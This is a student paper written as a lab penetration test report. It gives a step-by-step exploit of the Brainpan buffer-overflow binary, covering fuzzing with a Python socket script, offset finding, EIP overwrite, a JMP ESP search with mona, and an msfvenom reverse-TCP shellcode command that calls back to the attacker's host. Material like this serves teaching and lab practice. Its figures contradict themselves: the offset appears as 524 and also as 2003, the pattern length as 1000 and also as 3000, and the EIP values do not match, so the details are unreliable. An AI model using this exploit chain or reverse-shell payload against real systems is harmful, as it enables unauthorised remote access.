Buffer Overflow
Bhushan Waje¹; Vishal Belbase²; Tauhid Chaudhari³; Tej Rathi⁴; Assistant Prof. Umesh Pawar⁵

¹Department of Computer Science, Sandip University, India
²Department of Computer Science, Sandip University, India
³Department of Computer Science, Sandip University, India
⁴Department of Computer Science, Sandip University, India
⁵Department of Computer Science, Sandip University, India

Abstract- Buffer overflow is the most common type or form of cyber security vulnerability in the last ten years. Buffer overflow is the vulnerability of remote network penetration area vulnerabilities, where a hacker, Attacker or anonymous user can have the gain or control of a host. Buffer overflow vulnerability can be effectively be eliminated, the big part of the serious security threats would be removed. In this paper, we learn, what is buffer overflow vulnerability, what are the methodology, what are the steps to exploit the buffer overflow vulnerability. 
Keyword—Brain pan ios, Kali Linux, Buffer overflow, python code, shell code, metasploit exploit, OWASP Dir buster

I. INTRODUCTION

The penetration test report contains all efforts that were conducted. This report will be graded from a standpoint of correctness and fullness to all aspects of the exercise. The purpose of this report is to ensure that the reader has a full understanding of penetration testing methodologies as well as the technical knowledge to Exploit the machines.

A. Objective

The objective of this assessment is to perform an internal penetration test against the machines given by the college. We are tasked with following a methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how we start from beginning to end, including the overall report. There are three system requiring penetration test.

i. Buffer Overflow (Brain pan)

ii. Web application Penetration Test(demo.testfire.net)

iii. CVE 2012-6081(Arbitrary File upload)
B. Requirements

We will do a penetration test and create report along with mitigation to the same i.e exploits which will be discovered during the test. Following piece of document will be available for the Industry/ Company/ Corporate network to fix their infrastructure.

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

II. HIGH-LEVEL SUMMARY

We were tasked with performing an internal penetration test towards given Lab. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate in the internal Lab systems. Our overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, we were able to gain access to multiple machines, primarily due to outdated and poor security configurations as well as poor security implementations. During the testing, We had administrative level access to multiple systems. All systems were successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

- 10.10.32.230
- 192.168.56.102
- demo.testfire.net

A. Recommendations

We recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

III. METHODOLOGIES

We utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Offensive Security Lab environments is secured. Below is a breakout of how we were able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

A. Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, we were tasked with exploiting the Lab network. The specific IP addresses were:

Lab Network

- 10.10.32.230
- 192.168.56.102
- demo.testfire.net
B. Scanning

1. The system resides on IP 10.10.32.230 lets scan the system to find the services running on the system. Let’s perform an nmap scan on this.

2. Below are the results of the nmap scan, where port 9999 and http running on 10000 were detected.

```bash
C:\home\Documents\brainpan> nmap -A -T4 10.10.32.230
Starting Nmap 7.91 (https://nmap.org) at 2021-11-16 21:35 UTC
Nmap scan report for 10.10.32.230
Host is up (6.9% latency).
Not shown: 958 closed ports
PORT       STATE     SERVICE
9999/tcp   open      abyss
10000/tcp  open      http
```

C. Penetration

The penetration testing portions of the assessment focus heavily on gaining access to the given system.

- System IP: 10.10.32.230

D. Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

<table>
<thead>
<tr>
<th>Server IP Address</th>
<th>Ports Open</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.10.32.230</td>
<td>TCP: 9999(server), 10000(python server)</td>
</tr>
<tr>
<td></td>
<td>UDP: N/A</td>
</tr>
</tbody>
</table>

1. Let’s start to dig what is inside the given target. Start with http one, If we visit that website, we can see following It is just a website running on the server given
2. If we view source to read the source code of data, we see this is just the image embedded in the webpage.

3. We started Dirbuster at the back end as well and found a bin directory in which we can see that an .exe named brainpan is present.
4. We Found following directory

![Directory listing for /bin/](image1)

5. Since it is an .exe file, we need to evaluate the file in my Windows 7 lab machine.

```bash
C:\home\v\Documents\brainpan> file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 88386 (stripped to external PDB), for MS Windows
```

6. After running that file in the windows 7 we found out that it is the server running in the port 9999 on the system given for penetration testing. Below is when we try to connect to the given machine on port 9999

![Connect to the given machine](image2)

7. Download brainpan.exe and drop it to the Windows 7 lab machine. Below we can see that brainpan.exe is running and waiting for connection on port 9999.
8. It is a server running and accepting password. But there’s a problem that this buffer/input doesn’t have any limit and is accepting too many characters and may cause buffer overflow.

9. We wrote a python script to inject many characters as we want but it gives us rough estimate what is size of buffer. Now we run the vulnerable server in the windows and attach its process to the debugger in our case to the Immunity Debugger and try to find the Buffer size to point to the ip.
Vulnerability Explanation: Before Starting with buffer overflow we will first know how the buffer works to overflow it.

i. Introduction
ii. Spiking
iii. Fuzzing
iv. Finding The Offset
v. Overwriting the EIP
vi. Finding Bad Characters
vii. Finding the Right Module
viii. Generating Shellcode and Gaining Shells

Introduction: Anatomy of the stack: When we look into the memory stack, we will find 4 main components:

a). The 4 components above actually sit in order from top to bottom.

```
ESP (Extended Stack Pointer)

Buffer Space

EBP (Extended Base Pointer)
EIP (Extended Instruction Pointer) / Return Address
```

b). For the scope of this tutorial, we really need to be concerned with buffer space and the EIP. Buffer space is used as a storage area for memory in some coding languages. With proper input sanitation, information placed into the buffer space should never travel outside of the buffer space itself. Another way to think of this is that information placed into the buffer space should stop at the EBP as such.

```
ESP (Extended Stack Pointer)

Buffer Space

EBP (Extended Base Pointer)
EIP (Extended Instruction Pointer) / Return Address
```
c). The above example, you can see that a number of A’s (x41) were sent to the buffer space, but were correctly sanitized. The A’s did not escape the buffer space and thus, no buffer overflow occurred. Now, let’s look at an example of a buffer overflow:

![Diagram of buffer space, EBP, ESP, EIP]

d). Now, the A’s have completely escaped the buffer space and have actually reached the EIP. This is an example of a buffer overflow and how poor coding can become dangerous. If an attacker can gain control of the EIP, he or she can use the pointer to point to malicious code and gain a reverse shell. Now let’s put that in practice.

10. The first step in any buffer overflow is fuzzing. Fuzzing allows us to send bytes of data to a vulnerable program growing iterations, in hopes of overflowing the buffer space and overwriting the EIP. First, let’s write a simple Python fuzzing script on our Kali machine. Your script should look like this:

```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 1000
try:
    print "sending evil buffer..."
    s.connect(('192.168.56.101',9999))
    data = s.recv(1024)
    s.send(buffer + '\n')
    print "Data received:"
except:
    print "Count not connect to Brain!"
```

The code does the following:

1. Sets the variable “buffer” equal to 100 A’s.

2. Performs a while loop, sending each increasing iteration of A’s to server and stopping when Server crashes.

3. It should be noted that the IP you use will be the Windows machine that is running Server, that Server runs on port 9999 by default. To see the command in action, open up Server and play around for a little bit.

4. Once you have your code written, load up Server and Immunity Debugger as administrator (very important). In Immunity Debugger, click on File > Attach and select brainpan.exe. Finally, let’s execute our script and see what happens.
11. All of the registers have been overwritten by 41 (hex for A) (first diagram). This means that we have a buffer overflow vulnerability on our hands and we have proven that we can overwrite the EIP. At this point, we know that the EIP is located somewhere between 1 and 900 bytes, but we are not sure where it’s located exactly. What we need to do next is figure out exactly where the EIP is located (in bytes) and attempt to control it.

*Note: In some instances, Server will not crash, but Immunity will pause, which indicates a crash. In this instance, you may 1) have to hit “Ctrl + C” to stop the fuzzing script and 2) not have all registers overwritten by “A”’s. This is okay as long as your program crashed and you have a general idea as to how many bytes were send
Now we will find the offset. So, now that we know we can overwrite the EIP and that the overwrite occurred between 1 and 900 bytes (let’s use 1000 moving forward for a little extra padding), we can use a couple of Ruby tools called Pattern Create and Pattern Offset to find the exact location of the overwrite.

Pattern Create allows us to generate a cyclical amount of bytes, based on the number of bytes we specify. We can then send those bytes to Server, instead of A’s, and try to find exactly where we overwrote the EIP. Pattern Offset will help us determine that soon.

In Kali, by default, these tools are located in the /usr/share/metasploit-framework/tools/exploit folder. The tool and command we need to run is: pattern_create.rb -l 1000 where “l” is for length and “1000” is for bytes. It should spit something out like this: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Now, we’re going to need to modify our code to include all of the bytes that were just generated by Pattern Create. Our new code should look something like this:

Where the offset variable is a copy/paste of the Pattern Create output. You will notice that we have changed the code slightly. We just need to send this code one time. So, let’s go ahead and restart Server AND Immunity Debugger. We recommend closing completely out of Immunity Debugger and reattaching as you did in the previous step. We have had issues leaving Immunity open and attempting to continue on. Remember to run both as Administrator. Now, execute the code and see what is returned:

© 2021, IJCSMC All Rights Reserved 29
14. The value is 386F4337. If we executed correctly, this value is actually part of our code that we generated with Pattern Create. Let’s try using Pattern Offset to find out. The command that should be typed is `pattern_offset.rb -l 3000 -q 35724134` where “q” is our EIP value. Here’s our results:

As you can see, an exact match was found at 524 bytes. This is great news. We can now try to control the EIP, which will be critical later in our exploit.

15. **Overwriting the EIP:** Now that we know the EIP is after 2003 bytes, we can modify our code ever so slightly to confirm our control. Here is my updated code:
So, now the shellcode variable is back to a bunch of A’s and four B’s. What we are doing here is sending 2003 A’s in an attempt to reach, but not overwrite, the EIP. Then we are sending four B’s, which should overwrite the EIP with 42424242. Remember, the EIP has a length of four bytes, so if we overwrite successfully, we will be in full control and well on our way to root. Let’s execute the code and have a look.

Great success! Our EIP reads “42424242” just as we hoped. Now, we have to do a little research into how Server operates and what byte characters it is friendly with in order to finalize our exploit.

16. Finding Bad characters : Certain byte characters can cause issues in the development of exploits. We must run every byte through the Server program to see if any characters cause issues. By default, the null byte(x00) is always considered a bad character as it will truncate shellcode when executed. To find bad characters in Server, we can add an additional variable of “badchars” to our code that contains a list of every single hex character. It should look something like this (you can find an easy copy/paste of the variable here):

17. So, let’s again close/re-open Server and Immunity Debugger and send this bad boy off. Once you have sent the exploit, you will need to right click on the ESP register and select “Follow in Dump”. You should notice a little bit of movement in the bottom left corner of the program. If you look carefully, you should see all of your bytes in order starting with 01, 02, 03, etc and ending with FF. If a bad character were present, it would seem out of place. Luckily for us, there are no bad characters in the Server program. Notice below how all of our numbers appear perfect and in order:
In this scenario where are bad characters, we would need to mark down every missing character for later shellcode development. However, the only bad character we need to worry about with Server is x00. Now to find the right module

18. Finding the Right Module: When we say “finding the right module” we mean that we need to find some part of Server that does not have any sort of memory protections. Memory protections, such as DEP, ASLR, and Safe SEH can cause headaches. While these protections can be bypassed, they are not in the scope for this task.

Luckily for us again, Server has a module that fits our criteria. To see for yourself, re-open Server and Immunity Debugger and then type “!mona modules” in the bottom search bar on Immunity. You should see some potential options display:
18. What we’re looking for is “False” across the board, preferably. That means there are no memory protections present in the module. The top module catches my eye immediately. It looks like brainpan.exe is running as part of servr and has no memory protections. Let’s write down the module and move on to the next step.

19. What we need to do now is find the opcode equivalent of JMP ESP. We are using JMP ESP because our EIP will point to the JMP ESP location, which will jump to our malicious shellcode that we will inject later. Finding the opcode equivalent means we are converting assembly language into hexcode. There is a tool to do this called nasm_shell.

Locate nasm_shell on your Kali machine and run it. Then, type in JMP ESP and hit enter. Your results should look like mine:
20. Our JMP ESP opcode equivalent is “FFE4”. Now, we can use Mona again to combine this new information with our previously discovered module to find our pointer address. The pointer address is what we will place into the EIP to point to our malicious shellcode. In our Immunity searchbar, let’s type: `!mona find -s “\xff\xe4” -m brainpan.exe` and view the results:

![Image](image_url)

21. What we have just generated is a list of addresses that we can potentially use as our pointer. The addresses are located on the left side, in white. I am going to select the first address, and add it to my Python code. Note: your address may be different depending on the version of Windows you are running. So, do not panic if the addresses are not the same!

So, now we replaced our four B’s with our return address. Notice something weird or unique about how the return address was entered? It’s backwards! This is actually called Little Endian. We have to use the Little Endian format in x86 architecture because the low-order byte is stored in the memory at the lowest address and the high-order byte is stored at the highest address. Thus, we enter our return address in backwards. Now, we need to test our return address. Again, with a freshly attached Server, we need to find our return address in Immunity Debugger. To do this, click on the far right arrow on the top panel of Immunity:

![Image](image_url)

Then search for “311712F3” (or the return address you found), without the quotes, in the “Enter expression to follow” prompt. That should bring up your return address, FFE4, JMP ESP location. Once you’ve found it, hit F2 and the address should turn baby blue, indicating that we have set a breakpoint.
Now, you can execute your code and see if the breakpoint triggers. If you notice it trigger in Immunity Debugger, you are in the home stretch and ready to develop your exploit!

22. Generating Shellcode: Now, we can piece together all of the information we have gathered to generate malicious shellcode. The shellcode will tell the victim machine to talk back to our machine. Using msfvenom, we can supply the following syntax: `msfvenom -p windows/shell_reverse_tcp LHOST=kali.ip.address LPORT=4444 EXITFUNC=thread -f c -a x86 --platform windows -b \x00`

Now, before we submit, let me break down everything that is going on. We are using msfvenom, a shellcode generator, to generate a malicious shellcode that we will inject into our victim’s machine via the buffer overflow attack. Our EIP will point to...
the JMP ESP, which will run our malicious shellcode and give us root (hopefully). Broken down, each switch means the following:

- **p** is for payload. We are using a non-staged windows reverse shell payload.

  **LHOST** is the ATTACKER’S IP address.

  **LPORT** is the ATTACKER’S port of choice. Here I am using 4444.

  **EXITFUNC=thread** adds stability to our payload.

- **f** is for file type. We are going to generate a C file type here.

- **a** is for architecture. The machine we are attacking is x86.

  **--platform** is for OS type. We are attacking a Windows machine.

- **b** is for bad characters. Remember, the only bad character we have is the null byte, x00.

22. As you can see, we generated 351 bytes of shellcode. We need to copy/paste this shellcode into our Python script. Here is what my final script looks like:

So, we have created a variable called “shellcode” and placed the malicious shellcode inside of it. You might notice that I have also added 16 “\x90”s to the shellcode variable. This is standard practice. The x90 byte is also known as the NOP, or no operation. It literally does nothing. However, when developing exploits, we can use it as padding. There are instances where our exploit code can interfere with our return address and not run properly. To avoid this interference, we can add some padding in-between the two items.

23. Once you have your Python script up to date, let’s move on to the final step! Gaining Root! Now, set up a netcat listener on your designated port (remember, I used 4444 in my example). Once you have netcat running, fire up Server and run your exploit code. If you’ve done all the steps right, you should get root/system:
In my case, we gained access to the user running the program (myself), who was an admin. Win.

**Vulnerability Fix: Using ASLR AND DEP**

**Severity: Critically High**

**REFERENCES**

[4] https://forelsec.blogspot.co.uk/2013/04/solving-brainpan.html
[5] https://www.youtube.com/watch?v=qwos6n6USE4